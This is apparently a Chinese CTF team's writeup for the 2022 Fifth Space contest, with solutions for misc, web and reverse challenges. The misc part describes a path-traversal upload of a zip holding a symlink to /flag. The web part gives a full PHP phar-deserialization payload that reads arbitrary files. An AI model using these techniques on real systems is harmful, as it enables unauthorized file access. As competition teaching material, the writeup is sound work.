2022 第五空间网络安全初赛 writeup by Arr3stY0u

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2022 第五空间网络安全初赛 writeup by Arr3stY0u

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2022 第五空间网络安全初赛 writeup by Arr3stY0u

2022 第五空间网络安全初赛 writeup by Arr3stY0u



Arr3stY0u头


这个比赛的web跟misc好搞人心态,希望出题人全家平安。另外这个safevm一直打不通远端,问了出题人才知道远端偏移量和本地不一样,时间不够了所以就没看,toolkit相对简单,但也是因为safevm浪费了太长时间所以比赛中没能做出来,非常可惜。不过exp会提供给大家复现,详细思路就不浪费时间写了。意淫一下我们ak了pwn哈哈哈哈。

招野生web师傅(大二及以下,考核通过可获书籍一本,书籍自选)。

招野生pwn师傅(大二及以下,考核通过可获pwncli作者roderick签名书籍一本,书籍自选)

招野生crypto师傅(大二及以下,数论/群论/格,最好会sage,考核通过可获书籍一本,书籍自选)

招野生SRC师傅(补天专属/企业SRC/众测,考核通过可获书籍一本,书籍自选)

招新&合作联系方式在文末;部分题目附件下载地址请后台回复:5ctf2022

2022 第五空间网络安全初赛 writeup by Arr3stY0u

MISC


简单的misc:

print(bytes.fromhex("666c61677b57656c636f6d655f686572657d"))

# flag{Welcome_here}


sakana_reveage:

sakana_upload()函数中的文件名 sakana_file_name 完全可控,可以路径穿越在任意位置写文件,所以可以输入../../../../../tmp/sakanas.zip.zip 写入带有指向/flag 符号链接的压缩包。虽然限制了文件开头必须是 sakana,但是经过测试unzip 命令是可以忽略开头的无关数据正常解压的。

2022 第五空间网络安全初赛 writeup by Arr3stY0u

sakana_upload_sakanas()函数如果提前触发 base64 解码处的异常就可以直接到达解压压缩包的代码。由于这里生成 xx.zip 过程中异常跳出,所以生成的不是合法 zip。这时,unzip 会自动寻找指定位置的 xx.zip.zip 与 xx.zip.ZIP 并解压,于是上面目录穿越传入的压缩包就会被解压并链接到 flag,接着选择下载获得 flag

2022 第五空间网络安全初赛 writeup by Arr3stY0u

WEB


web_BaliYun:

file_exist(img_name)触发 phar 反序列化使任意文件读取www.zip 源码

运行 php 生成 phar,并改名成图片后缀,上传请求 index.php/?img_name=phar://upload/phar.png 触发,会输出 flag

<?phpclass upload{ public $filename; public $ext; public $size; public $Valid_ext; public function __construct($cmd){ $this->filename = $cmd; $this->ext = ".png"; $this->size = 1; $this->Valid_ext = array("gif", "jpeg", "jpg", "png"); } public function start(){ return $this->check(); } private function check(){ if(file_exists($this->filename)){ return "Image already exsists"; }elseif(!in_array($this->ext, $this->Valid_ext)){ return "Only Image Can Be Uploaded"; }else{ return $this->move(); } } private function move(){ move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$this->filename); return "Upload succsess!"; } public function __wakeup(){ echo file_get_contents($this->filename); } }$phar = new Phar('phar.phar');$phar -> stopBuffering();$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');$phar -> addFromString('test.txt','test');$payload = "/flag";$object = new upload($payload);$object -> output= 'phpinfo();';$phar -> setMetadata($object);$phar -> stopBuffering();

easylogin:

宽字节注入,数据库没东西,密码解不出来,猜测逻辑是查回来的信息和MD5(post[‘password’])比较

2022 第五空间网络安全初赛 writeup by Arr3stY0u

2022 第五空间网络安全初赛 writeup by Arr3stY0u

REVERSE


crackme:

初步分析

binwalk -Me rootfs.img

有用的文件:

/bin/crackme

/etc/config

config

1E 00 00 00 02 00 00 00 09 00 00 00 40 E3 FF FF

D0 E4 FF FF C4 E6 FF FF 78 E2 FF FF 74 EB FF FF

1C E9 FF FF 08 E4 FF FF 48 EA FF FF 68 ED FF FF

int __fastcall chal_main(int argc, const char **argv){ const char *v3; // r0 int v4; // r0 int v5; // r5 int v6; // r0 int v7; // r9 int v8; // r10 int *v9; // r1 int v10; // r7 int v11; // r5 int v12; // r0 int *v13; // r1 int v14; // r0 int v15; // r0 bool v16; // zf int v18[16]; // [sp+4h] [bp-74h] BYREF v3 = (const char *)v18; if ( argc >= 2 ) v3 = argv[1]; if ( argc < 2 ) v3 = "/etc/config"; v4 = open(v3, 0, 0); if ( v4 >= 1 ) { v5 = v4; read(v4, config, 256); close(v5); } v6 = dword_712C[0]++; v7 = v18[config[v6]]; // 应该是取出 return_address sub_3154(1, (int)"2", 0, (int)"a", 0); sub_3154(2, (int)"3", 0, (int)"a", 0); sub_33F8(1); sub_33F8(2); sub_3154(0, (int)"0", 28, (int)"a", 0); sub_3154(6, (int)">> ", 64, (int)asc_659, 0); sub_3154(7, (int)"<< ", 64, (int)"[!!]n", 1); sub_3154(8, (int)"<< ", 64, (int)"[ok]n", 1); sub_336C(6); v8 = -1; v9 = &config[dword_712C[0]]; v10 = *v9; dword_712C[0] += 2; v11 = v9[1]; while ( ++v8 < v11 ) { v12 = dword_712C[0]++; strcpy((char *)v18, "bbbbbbbbbbbbbbbb"); v13 = &v18[6]; v18[6] = config[v12] + v7; BYTE1(v18[4]) = 0; HIWORD(v18[4]) = 0; v18[5] = 16; if ( unk_7130 ) { strcpy(unk_7130, "0"); v14 = *(_DWORD *)(unk_7130 + 16); if ( *(int *)(unk_7130 + 20) > 27 || (free(v14), v14 = malloc(28), v13 = (int *)unk_7130, (*(_DWORD *)(unk_7130 + 16) = v14) != 0) ) { memcpy(v14, v18, 28); } } v15 = dword_712C[v10 + 1]; v16 = v15 == 0; if ( v15 ) { v13 = (int *)unk_7148; v16 = unk_7148 == 0; } if ( !v16 ) { *(_DWORD *)(v15 + 16) = v13[4]; *(_DWORD *)(v15 + 20) = v13[5]; } if ( !sub_32E8(v10) ) return sub_336C(7); } return sub_336C(8);}

修正 config 里的偏移 转换成对应的函数地址

off = 0xFFFFED68-0x4644for i in range(9): x = ida_bytes.get_dword(0x0c+i*4)ida_bytes.patch_dword(0x0c+i*4, x-off)seg000:00000000 dd 30seg000:00000004 dd 2seg000:00000008 dd 9seg000:0000000C ; int[9]seg000:0000000C dd 3C1Chseg000:00000010 dd 3DAChseg000:00000014 dd 3FA0hseg000:00000018 dd 3B54hseg000:0000001C dd 4450hseg000:00000020 dd 41F8hseg000:00000024 dd 3CE4hseg000:00000028 dd 4324hseg000:0000002C dd 4644h
int __fastcall sub_3C1C(char *a1, int a2){ int i; // r3 for ( i = 0; i < a2; ++i ) a1[i] = sbox_list[25][(unsigned __int8)a1[i]]; return 1;}
int __cdecl sub_4644(unsigned __int8 *flag){ int v2; // r6 int v3; // r9 int v4; // r10 int v5; // r0 int v7; // [sp+4h] [bp-6Ch] int v8; // [sp+8h] [bp-68h] int v9; // [sp+Ch] [bp-64h] int v10; // [sp+10h] [bp-60h] int v11; // [sp+14h] [bp-5Ch] int v12; // [sp+18h] [bp-58h] int v13; // [sp+1Ch] [bp-54h] int v14; // [sp+20h] [bp-50h] int v15; // [sp+24h] [bp-4Ch] int v16; // [sp+28h] [bp-48h] int v17; // [sp+2Ch] [bp-44h] int v18; // [sp+30h] [bp-40h] int v19; // [sp+34h] [bp-3Ch] int v20; // [sp+38h] [bp-38h] int v21; // [sp+3Ch] [bp-34h] int v22; // [sp+40h] [bp-30h] int v23; // [sp+44h] [bp-2Ch] int v24; // [sp+48h] [bp-28h] int v25; // [sp+4Ch] [bp-24h] v25 = abs(159947 * *flag - 17274276); v24 = abs(4294891102 * flag[1] - 288728 * *flag + 36973368); v23 = abs(-247146 * flag[1] - 291401 * *flag - 166371 * flag[2] + 75709167); v22 = abs(-1741 * flag[1] + 218084 * flag[3] + 280814 * *flag - 149372 * flag[2] -33947928); v21 = abs(174323 * flag[3] + 136024 * flag[2] - 141923 * flag[1] - 301049 * flag[4] + 323059 * *flag - 53238195); v20 = abs( -12269 * flag[3] + 286713 * flag[1] - 78320 * *flag + 301362 * flag[2] + 269836 * flag[5] - 255324 * flag[4] - 99312448); v19 = abs( -103798 * flag[2] + 201146 * flag[5] - 285406 * flag[3] - 188094 * flag[4] - 104025 * *flag - 50098 * flag[1] - 109789 * flag[6] + 50727897); v18 = abs( 117443 * flag[7] + 275692 * flag[3] + 349275 * flag[1] - 381943 * flag[2] + 332376 * flag[4] - 269146 * flag[5] + 222994 * flag[6] - 267344 * *flag + 9817748); v17 = abs( 19156 * flag[6] + -281586 * flag[7] - 168850 * *flag + 363716 * flag[3] - 32886 * flag[1] + 44299 * flag[4] + 170590 * flag[8] + 81061 * flag[5] + 201865 * flag[2] - 32987442); v16 = abs( 22459 * flag[6] + -80349 * flag[1] + 239015 * flag[5] - 42367 * flag[9] - 113712 * flag[7] - 146568 * flag[2] + 241696 * flag[3] + 232212 * *flag - 162511 * flag[8] + 61621 * flag[4] - 41031017); v15 = abs( -1754 * *flag + 128062 * flag[7] - 329492 * flag[3] - 167316 * flag[2] - 178991 * flag[4] + 186377 * flag[10] + 307270 * flag[6] - 328477 * flag[8] + 248665 * flag[1] + 374863 * flag[9] + 373711 * flag[5] - 86829517); v14 = abs( 11843 * flag[5] + 17087 * flag[3] - 35818 * *flag - 182330 * flag[7] - 354816 * flag[4] - 126036 * flag[2] + 114656 * flag[8] - 90442 * flag[9] + 330888 * flag[11] + 78226 * flag[10] - 260641 * flag[1] + 105414 * flag[6] + 63250156); v13 = abs( 7469 * flag[9] + 6283 * flag[11] + -87345 * flag[2] + 248111 * flag[5] + 213581 * flag[4] + 89194 * flag[8] + 36305 * flag[6] + 98667 * flag[1] + 300755 * flag[12] + 191415 * flag[7] + 350540 * *flag + 359565 * flag[10] - 185365 * flag[3] - 165783260); v12 = abs( 8209 * flag[8] + 131781 * flag[1] + 152898 * *flag + 40158 * flag[11] - 86271 * flag[12] - 105755 * flag[6] + 264037 * flag[3] - 130948 * flag[10] - 243572 * flag[7] - 48159 * flag[2] - 269443 * flag[9] - 376534 * flag[5] - 67954 * flag[4] - 119669 * flag[13] + 117580744); v11 = abs( -3429 * flag[6] + 102230 * flag[5] + 126967 * flag[10] - 344174 * flag[8] - 225911 * flag[11] + 118364 * flag[14] - 72044 * flag[1] + 280519 * *flag - 241789 * flag[2] - 274918 * flag[9] - 91055 * flag[12] - 122403 * flag[3] + 118907 * flag[7] - 34240 * flag[13] + 240524 * flag[4] + 35507568); v10 = abs( -24137 * flag[9] + 28203 * flag[13] + 150213 * flag[1] + 311204 * *flag - 94750 * flag[7] + 130029 * flag[2] - 305057 * flag[14] + 176246 * flag[5] - 256662 * flag[8] - 331010 * flag[12] - 301118 * flag[4] - 309379 * flag[10] + 187867 * flag[3] - 102250 * flag[11] - 340412 * flag[15] + 144084 * flag[6] + 39635710); v9 = abs( -27445 * flag[12] + -289483 * flag[10] - 164045 * flag[16] - 218276 * flag[1] + 183266 * flag[3] - 311967 * flag[8] - 55127 * flag[14] - 211824 * flag[13] - 375628 * flag[9] - 201931 * *flag - 324618 * flag[4] + 52026 * flag[6] + 93926 * flag[5] - 105199 * flag[7] - 254102 * flag[15] - 159881 * flag[11] + 378091 * flag[2] + 106013500); v2 = flag[3]; v8 = abs( 27619 * flag[4] + 9873 * flag[1] + -23276 * flag[8] + -196254 * flag[9] + 181235 * *flag + 150865 * flag[16] - 148807 * flag[14] - 272020 * flag[17] - 346803 * flag[2] - (v2 | (v2 << 16)) + 132879 * flag[10] + 239833 * flag[6] - 151023 * flag[11] + 224631 * flag[12] + 294607 * flag[5] - 362447 * flag[7] - 110250 * flag[15] + 153229 * flag[13] + 56953741); v7 = abs( -1159 * flag[1] + 6659 * flag[6] + -25875 * flag[7] + 80743 * flag[10] + 38124 * flag[9] + 40844 * flag[13] - 259165 * flag[12] + 340584 * flag[16] + 107346 * flag[2] - 124400 * flag[8] - 34846 * flag[11] - 338119 * flag[17] - 220860 * flag[5] + 167374 * flag[3] + 71134 * flag[15] - 143594 * flag[14] - 115172 * flag[4] - 104789 * *flag + 108066 * flag[18] + 50659353); v3 = abs( -26438 * flag[19] + 14055 * flag[10] + 31477 * flag[12] + -179950 * flag[4] + 79775 * flag[17] + 70516 * flag[5] + 330549 * flag[2] + 169852 * flag[11] + 51486 * flag[7] + 123944 * flag[13] - 370154 * flag[14] - 132851 * flag[18] + 237187 * flag[3] - 89341 * flag[9] - 256083 * flag[1] + 317327 * *flag + 42009 * flag[15] + 336122 * flag[6] + 128554 * flag[8] - 205903 * flag[16] - 112255597); v4 = abs( 30250 * flag[5] + 127076 * flag[16] - 218938 * *flag + 162996 * flag[14] + 141792 * flag[12] - 197967 * flag[9] - 247332 * flag[4] - 286218 * flag[7] - 168508 * flag[18] + 300020 * flag[2] - 46255 * flag[10] - 78960 * flag[19] + 213181 * flag[6] - 329333 * flag[13] + 126938 * flag[8] - 266759 * flag[11] + 182266 * flag[17] - 41677 * flag[1] + 158645 * flag[15] - 61925 * flag[3] + 67755 * flag[20] - 52014431); v5 = abs( -281 * *flag + 10712 * flag[19] + 14584 * flag[4] + -167168 * flag[13] + 308120 * flag[7] - 233003 * flag[8] + 114047 * flag[14] + 330767 * flag[10] - 71246 * flag[6] - 259485 * flag[2] + 374645 * flag[21] - 116397 * flag[3] + 64115 * flag[20] + 281339 * flag[9] + 321916 * flag[15] - 272240 * flag[12] - 135149 * flag[16] - 288340 * flag[18] + 71833 * flag[11] - 233821 * flag[1] - 223297 * flag[17] + 141256 * flag[5] + 17267952); return v24 + v25 + v23 + v22 + v21 + v20 + v19 + v18 + v17 + v16 + v15 + v14 + v13 + v12 + v11 + v10 + v9 + v8 + v7 + v3 + v4 + v5 == 0;}

大概逻辑其实就是根据 config 里的数据去调用对应的函数。最终调用验证方程。

用 claripy 解出方程后,再逆置换就能得到 flag 了。

import claripysbox = [0xA8, 0xC4, 0x13, 0xDF, 0x63, 0x5F, 0x4E, 0x6B, 0x12, 0xD6, 0x28, 0xBF, 0x40, 0x11, 0x64, 0x5A, 0x71, 0xDD, 0xD4, 0x35, 0xD5, 0x0F, 0x50, 0x9D, 0xCF, 0x7B, 0xEB, 0x0C, 0x3B, 0x6F, 0xA0, 0x5C, 0x5D, 0x90, 0xF5, 0x4B, 0xFF, 0x31, 0xB7, 0x14, 0xF9, 0xAF, 0xD3, 0xEE, 0x69, 0x36, 0xD7, 0xF3, 0xEF, 0x65, 0x05, 0x3F, 0x99, 0x49, 0x57, 0x2A, 0xEA, 0xB9, 0xB3, 0x8C, 0x7D, 0xFB, 0x1C, 0x80, 0xF1, 0xDC, 0xDA, 0x93, 0x7C, 0x62, 0xA2, 0xA9, 0x58, 0xC5, 0xA1, 0x0B, 0x5E, 0x09, 0x34, 0xA4, 0x22, 0x78, 0x68, 0x70, 0x6E, 0x54, 0x6D, 0x2F, 0x46, 0xE1, 0xA6, 0xF2, 0x29, 0x0E, 0x21, 0xFC, 0x15, 0x9F, 0x59, 0xB0, 0x18, 0x08, 0x95, 0x1F, 0x77, 0xD8, 0x67, 0x16, 0x20, 0x81, 0xF4, 0x60, 0x51, 0xB8, 0x7A, 0xCB, 0x3D, 0x7E, 0xA5, 0xE9, 0xD2, 0xFA, 0x74, 0x91, 0x1A, 0x8F, 0x19, 0x3C, 0x83, 0x8B, 0xC0, 0x37, 0x73, 0x8E, 0x8A, 0x07, 0x30, 0xE8, 0xAA, 0x2D, 0x8D, 0x55, 0x53, 0x96, 0x0D, 0x76, 0x6A, 0x88, 0x0A, 0x25, 0x87, 0x26, 0x79, 0x10, 0xC6, 0x1E, 0xC2, 0x01, 0xDE, 0x56, 0xAD, 0xB2, 0xAE, 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0xE4, 0x74, 0xB1, 0x7E, 0xAF, 0x24, 0x61, 0x04, 0x88, 0x77, 0x3C, 0x2C, 0x3B, 0xA9, 0xB6, 0xD8, 0x82, 0xA2, 0x37, 0x30, 0xC0, 0xD3, 0x06, 0x7C, 0x2A, 0xBA, 0xAA, 0x19, 0x0A, 0x55, 0x78, 0x8D, 0x54, 0x72, 0x93, 0x20, 0xFC, 0x22, 0xF2, 0x1A, 0x8A, 0x92, 0x94, 0x6F, 0x15, 0xB4, 0x02, 0x42, 0x09, 0x2F, 0x26, 0xCC, 0xD4, 0xB7, 0x5D, 0xD7, 0x83, 0xBC, 0x9E, 0xE7, 0x4F, 0x7B, 0x9B, 0xF4, 0x46, 0x6B, 0x95, 0x36, 0x1B, 0xC6, 0xBE, 0x34, 0x2B, 0x4D, 0x25, 0x62, 0xD2, 0xE3, 0x29, 0xE6, 0x08, 0x4E, 0x71, 0x4C, 0xDA, 0xEC, 0x41, 0xDC, 0xC3, 0x51, 0x4A, 0xC8, 0x6C, 0x66, 0xEE, 0x86, 0xEB, 0xF8, 0x0B, 0xCD, 0xD6, 0x68, 0x10, 0x85, 0x14, 0x28, 0x7A, 0x60, 0x2D, 0xCB, 0xED, 0x52, 0x67, 0x84, 0x38, 0x0F, 0x89, 0x11, 0x91, 0x23, 0xBF, 0xAE, 0xBD, 0xB2, 0x1F, 0x7F, 0x99, 0x79, 0x65, 0x21, 0x1D, 0x73, 0x8E, 0x45, 0xA8, 0xF7, 0xC5, 0x6A, 0x35, 0x57, 0x32, 0x8B, 0x47, 0xC7, 0x48, 0xB8, 0x43, 0x8F, 0x98, 0xC4, 0xFA, 0xDD, 0x76, 0x0C, 0x05, 0xFF, 0xD9, 0xC1, 0xB0, 0x97, 0xD5, 0x16, 0xFD, 0xD1, 0xF3, 0x9C, 0x64, 0xB5, 0x07, 0xA4, 0x2E, 0x5E, 0x12, 0x75, 0xFE, 0x44, 0xF6, 0x1E, 0x8C, 0x80, 0xA3, 0x6D, 0xE5, 0x90, 0xB3, 0xE0, 0x3D, 0xCA, 0xEA, 0xA5, 0xC9, 0xCE, 0xA1, 0xEF, 0x53, 0xFB, 0xF1, 0x50, 0x5A, 0xE9, 0x31, 0x9F, 0x3E, 0x63, 0x9A, 0x3F, 0x87, 0x3A, 0xDF, 0x81, 0x40, 0xA7, 0x4B]inv_sbox = [0]*0x100def do_subs(x): for i in [25, 21, 16, 27 , 4, 10, 23, 7]: x = sbox[i*0x100+x] return xdef gen_inv_sbox(): input_data = list(range(0x100)) for j in range(0x100): input_data[j] = do_subs(input_data[j]) # print(input_data) for i in range(0x100): inv_sbox[i] = input_data.index(i)gen_inv_sbox()flag = [claripy.BVS('', 32) for i in range(22)]solve = claripy.Solver()for i in range(len(flag)): solve.add(flag[i] >= 0) solve.add(flag[i] < 0x100)solve.add(159947*flag[0]-17274276==0)solve.add(4294891102*flag[1]-288728*flag[0]+36973368==0)solve.add(-247146*flag[1]-291401*flag[0]-166371*flag[2]+75709167==0)solve.add(-1741*flag[1]+218084*flag[3]+280814*flag[0]-149372*flag[2]-33947928==0)solve.add(174323*flag[3]+136024*flag[2]-141923*flag[1]-301049*flag[4]+323059*flag[0]-53238195==0)solve.add(-12269*flag[3]+286713*flag[1]-78320*flag[0]+301362*flag[2]+269836*flag[5]-255324*flag[4]-99312448==0)solve.add(-103798*flag[2]+201146*flag[5]-285406*flag[3]-188094*flag[4]-104025*flag[0]-50098*flag[1]-109789*flag[6]+50727897==0)solve.add(117443*flag[7]+275692*flag[3]+349275*flag[1]-381943*flag[2]+332376*flag[4]-269146*flag[5]+222994*flag[6]-267344*flag[0]+9817748==0)solve.add(19156*flag[6]+-281586*flag[7]-168850*flag[0]+363716*flag[3]-32886*flag[1]+44299*flag[4]+170590*flag[8]+81061*flag[5]+201865*flag[2]-32987442==0)solve.add(22459*flag[6]+-80349*flag[1]+239015*flag[5]-42367*flag[9]-113712*flag[7]-146568*flag[2]+241696*flag[3]+232212*flag[0]-162511*flag[8]+61621*flag[4]-41031017==0)solve.add(-1754*flag[0]+128062*flag[7]-329492*flag[3]-167316*flag[2]-178991*flag[4]+186377*flag[10]+307270*flag[6]-328477*flag[8]+248665*flag[1]+374863*flag[9]+373711*flag[5]-86829517==0)solve.add(11843*flag[5]+17087*flag[3]-35818*flag[0]-182330*flag[7]-354816*flag[4]-126036*flag[2]+114656*flag[8]-90442*flag[9]+330888*flag[11]+78226*flag[10]-260641*flag[1]+105414*flag[6]+63250156==0)solve.add(7469*flag[9]+6283*flag[11]+-87345*flag[2]+248111*flag[5]+213581*flag[4]+89194*flag[8]+36305*flag[6]+98667*flag[1]+300755*flag[12]+191415*flag[7]+350540*flag[0]+359565*flag[10]-185365*flag[3]-165783260==0)solve.add(8209*flag[8]+131781*flag[1]+152898*flag[0]+40158*flag[11]-86271*flag[12]-105755*flag[6]+264037*flag[3]-130948*flag[10]-243572*flag[7]-48159*flag[2]-269443*flag[9]-376534*flag[5]-67954*flag[4]-119669*flag[13]+117580744==0)solve.add(-3429*flag[6]+102230*flag[5]+126967*flag[10]-344174*flag[8]-225911*flag[11]+118364*flag[14]-72044*flag[1]+280519*flag[0]-241789*flag[2]-274918*flag[9]-91055*flag[12]-122403*flag[3]+118907*flag[7]-34240*flag[13]+240524*flag[4]+35507568==0)solve.add(-24137*flag[9]+28203*flag[13]+150213*flag[1]+311204*flag[0]-94750*flag[7]+130029*flag[2]-305057*flag[14]+176246*flag[5]-256662*flag[8]-331010*flag[12]-301118*flag[4]-309379*flag[10]+187867*flag[3]-102250*flag[11]-340412*flag[15]+144084*flag[6]+39635710==0)solve.add(-27445*flag[12]+-289483*flag[10]-164045*flag[16]-218276*flag[1]+183266*flag[3]-311967*flag[8]-55127*flag[14]-211824*flag[13]-375628*flag[9]-201931*flag[0]-324618*flag[4]+52026*flag[6]+93926*flag[5]-105199*flag[7]-254102*flag[15]-159881*flag[11]+378091*flag[2]+106013500==0)# solve.add(# 27619 * flag[4]# + 9873 * flag[1]# + -23276 * flag[8]# + -196254 * flag[9]# + 181235 * flag[0]# + 150865 * flag[16]# - 148807 * flag[14]# - 272020 * flag[17]# - 346803 * flag[2]# - (flag[3] | (flag[3] << 16 == 0) == 0)# + 132879 * flag[10]# + 239833 * flag[6]# - 151023 * flag[11]# + 224631 * flag[12]# + 294607 * flag[5]# - 362447 * flag[7]# - 110250 * flag[15]# + 153229 * flag[13]# + 56953741 == 0)solve.add(-1159*flag[1]+6659*flag[6]+-25875*flag[7]+80743*flag[10]+38124*flag[9]+40844*flag[13]-259165*flag[12]+340584*flag[16]+107346*flag[2]-124400*flag[8]-34846*flag[11]-338119*flag[17]-220860*flag[5]+167374*flag[3]+71134*flag[15]-143594*flag[14]-115172*flag[4]-104789*flag[0]+108066*flag[18]+50659353==0)solve.add(-26438*flag[19]+14055*flag[10]+31477*flag[12]+-179950*flag[4]+79775*flag[17]+70516*flag[5]+330549*flag[2]+169852*flag[11]+51486*flag[7]+123944*flag[13]-370154*flag[14]-132851*flag[18]+237187*flag[3]-89341*flag[9]-256083*flag[1]+317327*flag[0]+42009*flag[15]+336122*flag[6]+128554*flag[8]-205903*flag[16]-112255597==0)solve.add(30250*flag[5]+127076*flag[16]-218938*flag[0]+162996*flag[14]+141792*flag[12]-197967*flag[9]-247332*flag[4]-286218*flag[7]-168508*flag[18]+300020*flag[2]-46255*flag[10]-78960*flag[19]+213181*flag[6]-329333*flag[13]+126938*flag[8]-266759*flag[11]+182266*flag[17]-41677*flag[1]+158645*flag[15]-61925*flag[3]+67755*flag[20]-52014431==0)solve.add(-281*flag[0]+10712*flag[19]+14584*flag[4]+-167168*flag[13]+308120*flag[7]-233003*flag[8]+114047*flag[14]+330767*flag[10]-71246*flag[6]-259485*flag[2]+374645*flag[21]-116397*flag[3]+64115*flag[20]+281339*flag[9]+321916*flag[15]-272240*flag[12]-135149*flag[16]-288340*flag[18]+71833*flag[11]-233821*flag[1]-223297*flag[17]+141256*flag[5]+17267952==0)def test1(x): a = bytearray(len(x)) for i in range(len(x)): a[i] = inv_sbox[x[i]] return bytes(a)def test2(x): a = bytearray(len(x)) for i in range(len(x)): a[i] = do_subs(x[i]) return bytes(a)for x in solve.batch_eval(flag, 4): x = bytes(x)print(test1(x))# flag: flag{HM_l1c3nc3_0k!!!}


re2:

64 位 ELF,MIPS64,ghidra 打开

迷宫题,有三层,每层都是 15*15,wsad 控制上下左右

2022 第五空间网络安全初赛 writeup by Arr3stY0u

打印出三层迷宫

map=[1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,3,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,1,1,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,0,1,1,0,1,1,0,0,0,0,0,1,0,0,1,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,1,0,1,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,4,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,3,1,1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,1,1,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,4,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,0]for i in range(len(map)//225): print("="*30) for j in range(0xf): for k in range(0xf): if map[i*225+j*0xf+k]==1: print("*",end=" ") else: print(map[i*225+j*0xf+k],end=" ") print()# ==============================# * * 0 0 0 0 0 0 0 0 0 0 0 0 0 # * * 0 3 * * * * * 0 0 0 0 0 0 # * * 0 * * 0 0 0 * 0 0 0 0 0 0 # * * 0 0 0 0 0 0 * * 0 0 0 0 0 # * * 0 * * 0 0 0 0 * * * * 0 0 # * * 0 * * 0 0 0 0 0 0 0 * 0 0 # * * 0 * * 0 0 0 0 0 0 0 * 0 0 # * * 0 * * 0 0 0 0 0 * * * * 0 # * * 0 * * 0 0 0 0 0 * 0 0 * 0 # * * 0 * * 0 0 0 0 0 * 0 0 0 0 # * * 0 * * * * * * 0 * 0 * * 0 # * * 0 * * * * * * * * * * * 0 # * * 0 0 0 0 0 0 0 0 0 0 0 4 0 # * * * * * * * * * * * * * * * # * * * * * * * * * * * * * * * # ==============================# * * * * * 0 0 0 0 0 0 0 0 0 0 # * * * * * 0 3 * * * 0 0 0 0 0 # * * * * * 0 0 0 0 * 0 0 0 0 0 # * * * * * 0 0 0 0 * 0 0 0 0 0# * * * * * 0 0 0 0 * * * * 0 0# * * * * * 0 0 0 0 0 0 0 * 0 0# * * * * * 0 0 0 0 0 0 0 * 0 0# * * * * * 0 0 0 0 0 0 0 * * 0# * * * * * 0 0 0 0 0 0 0 0 * 0# * * * * * 0 0 0 0 0 0 0 0 4 0# * * * * * * * * * * * * * * *# * * * * * * * * * * * * * * *# * * * * * * * * * * * * * * *# * * * * * * * * * * * * * * *# * * * * * * * * * * * * * * *# ==============================# 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0# 0 3 * * 0 0 0 0 0 0 0 0 0 0 0# 0 0 0 * 0 * * * 0 0 0 0 0 0 0# 0 0 0 * * * 0 * 0 0 0 0 0 0 0# 0 0 0 0 * 0 0 * 0 0 0 0 0 0 0# 0 * * 0 * 0 0 * 0 0 0 0 0 0 0# 0 0 * * * 0 0 * 0 0 0 0 0 0 0# 0 0 0 0 0 0 0 * 0 0 0 0 0 0 0# 0 0 0 0 0 0 0 * * * * 0 0 0 0# 0 0 0 0 0 0 0 0 0 0 * 0 0 0 0# 0 0 0 0 0 0 0 0 0 0 * 0 0 0 0# 0 0 0 0 0 0 0 0 0 0 * 0 0 0 0# 0 0 0 0 0 0 0 0 0 0 * * * * 0# 0 0 0 0 0 0 0 0 0 0 0 0 0 * 0# 0 0 0 0 0 0 0 0 0 0 0 0 0 4 0

每层都是从 3 开始,在 4 停止找到每层的最短路径,拼起来进行 md5 即为 flag

from hashlib import md5s1="dddddssdsdddsssaassssddds"s2="dddsssdddsssdss"s3="ddssddwddssssssdddssssdddss"print("flag{"+md5((s1+s2+s3).encode()).hexdigest().lower()+"}")# flag{f77feb47f7ff4f9e6e94f297b18652e0}
2022 第五空间网络安全初赛 writeup by Arr3stY0u

PWN


1H3ll0Rop:

